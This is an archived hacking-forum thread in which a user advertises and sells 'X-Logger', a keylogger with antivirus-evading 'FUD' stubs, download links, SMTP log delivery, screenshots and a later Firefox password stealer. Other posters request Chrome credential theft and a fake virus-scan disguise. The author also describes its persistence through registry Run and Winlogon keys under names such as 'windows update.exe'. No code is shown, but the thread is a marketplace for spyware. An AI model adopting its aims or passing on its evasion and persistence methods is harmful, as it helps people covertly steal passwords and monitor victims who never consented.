jojogizmojake - February 6, 2010, 11:34 am

X-Logger v1

I am releasing my x-logger v1 that i coded in vb.net to everyone for you to test to see if its worth you buying additional stubs. The Stub as of now is FUD, but that probably wont last very long. So if you want another FUD stub after it becomes UN FUD the price is 5\$ via p@ypal that includes unlimited FUDS.

Pics:

[img]http://i49.[censored].com/apeezd.jpg[/img]

[img]http://i50.[censored].com/a4ver9.jpg[/img]

Feature:

Uses Hooks

Custom Smtip

Works on Windows 7, vista, xp

Active Window

Downloader

Custom intervals

Screen Shots

Everything Optional

Anti's

Code Download Link : <http://www.multiupload.com/JLI97KX3OG>

For a custom FUD stub and unlimited FUD's the price is 5\$ via p@ypal gift option or payment owed. Contact me at jojogizmojake@live.com

You should post pictures, download link in the keyloggers section then put a link to this thread, you will get so many more buyers.

exe6766 - February 6, 2010, 1:01 pm

link # upload plsssss

Far - February 6, 2010, 1:03 pm

Put an Anti-Noob password on it.

gaylechris - February 6, 2010, 3:33 pm

this looks perfect gonna try.....dont share with noobs...protect ur good work please... thanks:)

dont share with all and also put an antinoob pass....

yes will buy a FUD stub soon.....

jojogizmojake - February 6, 2010, 5:36 pm

The only reason i didnt put a password on it is so everyone yes that means the noobs can try it.

Nazir - February 6, 2010, 6:49 pm

nice 10/10 :D :D :D :D :D

NewKlear - February 7, 2010, 8:10 am

Awesome this keylogger works perfectly .
big ups for jojogizmojake

dasefx - February 7, 2010, 12:43 pm
thanx

.....

jojogizmojake - February 8, 2010, 1:38 pm

I have just added a Icon Changer. Credits to Flash's awesome Dll.
heres the download yous un rar it and move the builder and the dlls files in to the old one and replace them.
Code Download Link : <http://www.multiupload.com/9VCOKM0G2C>

jojogizmojake - February 8, 2010, 4:22 pm

Is there anything else you guys would like to see?

Doofy - February 8, 2010, 5:32 pm

I would like to see a FF stealer

jojogizmojake - February 8, 2010, 6:47 pm

(Feb 8, 2010 06:32 PM)Doofy Wrote: [\[CITE\]](#) I would like to see a FF stealer
I'll see what i can do.

jojogizmojake - February 12, 2010, 1:13 pm

I have added a FF stealer and Mutex and better start up but i am not publicly releasing it.

IF the pics dont load here are the links:

<http://img13.imageshack.us/i/xloggerv1update.jpg/>
<http://img707.imageshack.us/i/xloggerv1update1.jpg/>

The price is 10\$ for the new builder and FUD stub as in the first post your stub will be re FUDed if it becomes unFUD.

Cpt. Obvious - February 12, 2010, 1:17 pm

are user/pw credentials encrypted?

lthasabika - February 12, 2010, 4:22 pm

Awesome keylogger screen shots and everything thanks!

jojogizmojake - February 12, 2010, 4:46 pm

(Feb 12, 2010 02:17 PM)Cpt. Obvious Wrote: [\[CITE\]](#) are user/pw credentials encrypted?
No it decrypts them before sending.

jojogizmojake - February 14, 2010, 2:24 pm

BUMP>>>>> why does noone want this is there anything else i can add for you to want it?

bobjoemike - February 14, 2010, 3:56 pm

umm how do i build it cause it doesnt work. is the x the stub? i get the error

oh and can u add more icons to the error message because i dont want the "x". for ex. say i put it in my usb drive and i want to make a fake virus scan. i want a checkmark instead of a x to say "virus scan is complete"

can u also make a apps that end the remote computer keylogger cause u dont want to receive file forever! and how do u remove it from the startup. its in the process right?

bobjoemike - February 14, 2010, 5:59 pm

BUMP I BULLFu*K bump bump

gob2000 - February 14, 2010, 6:00 pm

chrome passwords and screenshots every x interval please

and how do you remove the free version from your computer

bobjoemike - February 14, 2010, 6:13 pm

BUMP BABY BUMP! U CANT BEAT ME HAAAAHA

jojogizmojake - February 14, 2010, 8:27 pm

you can already set the screen shots to X interval and yes bobjoemike its x.exe is the stub the rest is self explanatory.

bobjoemike - February 14, 2010, 10:22 pm

doesnt work, it says unhanlded exception has occured in ur application..... can u upload a new stub doesnt work

jojogizmojake - February 15, 2010, 6:12 am

the stub does work for fuck sakes make sure you put something in all the textboxes that you want to uselike uisername,password, and send logs to

bobjoemike - February 15, 2010, 10:47 am

nvm it works. learn some manner u asshole! was gonna ty u for this good keylogger but now i wanana fuck u up

k i m sorry but how do u remove this from the startup

jojogizmojake - February 15, 2010, 11:29 am

(Feb 15, 2010 11:47 AM)bobjoemike Wrote: [\[CITE\]](#) nvm it works. learn some manner u asshole! was gonna ty u for this good keylogger but now i wanana fuck u up

k i m sorry but how do u remove this from the startup

O really im sorry i think you should learn some manners then i might help you.

bobjoemike - February 15, 2010, 11:37 am

>.> i know how.... u go to ur startup folder ... but u wanan know the problem? say u send it to someone, it will forever keep send it to u which is a pain in the ass because u keep getting it and ur email would get confussig

jojogizmojake - February 15, 2010, 11:38 am

(Feb 15, 2010 12:37 PM)bobjoemike Wrote: [\[CITE\]](#) >.> i know how.... u go to ur startup folder ... but u wanan know the problem? say u send it to someone, it will forever keep send it to u which is a pain in the ass because u keep getting it and ur email would get confussig

it depends on what os your on.First it tries to add a key to the registry then if that fails it uses the startup folder

bobjoemike - February 15, 2010, 12:34 pm

>.> is there a way to remove it from the infected computer.. i dont wanana receive anymore emails

gob2000 - February 15, 2010, 1:00 pm

Yeah how can you remove it...

bobjoemike - February 15, 2010, 2:04 pm

bump BUMP BUMP BUMP!!!!!!!!!!!!!!!!!!!!

jojogizmojake - February 15, 2010, 4:31 pm

Ok follow these steps :

1. Open up the task manager and end windows update.exe
2. goto your application data folder for your username
3. no open your startup folder
4. now delete the file windows update.exe or update.exe or taskmgr.exe
5. Now open up your regisrty and goto either
Under Local Machine("SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
LocalMachine("SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon")
under Userinit
CurrentUser("Software\Microsoft\Windows\CurrentVersion\Run", True)
and delete any values that say update

bobjoemike - February 15, 2010, 7:01 pm

i downloaded malware bytes too lazy

King Kong - February 15, 2010, 7:05 pm

You should post what the logs look like.

!Scribble

jojogizmojake - February 16, 2010, 1:05 pm

they look like this

-----[Hackforums - Mozilla Firefox]-----
Logs for that window
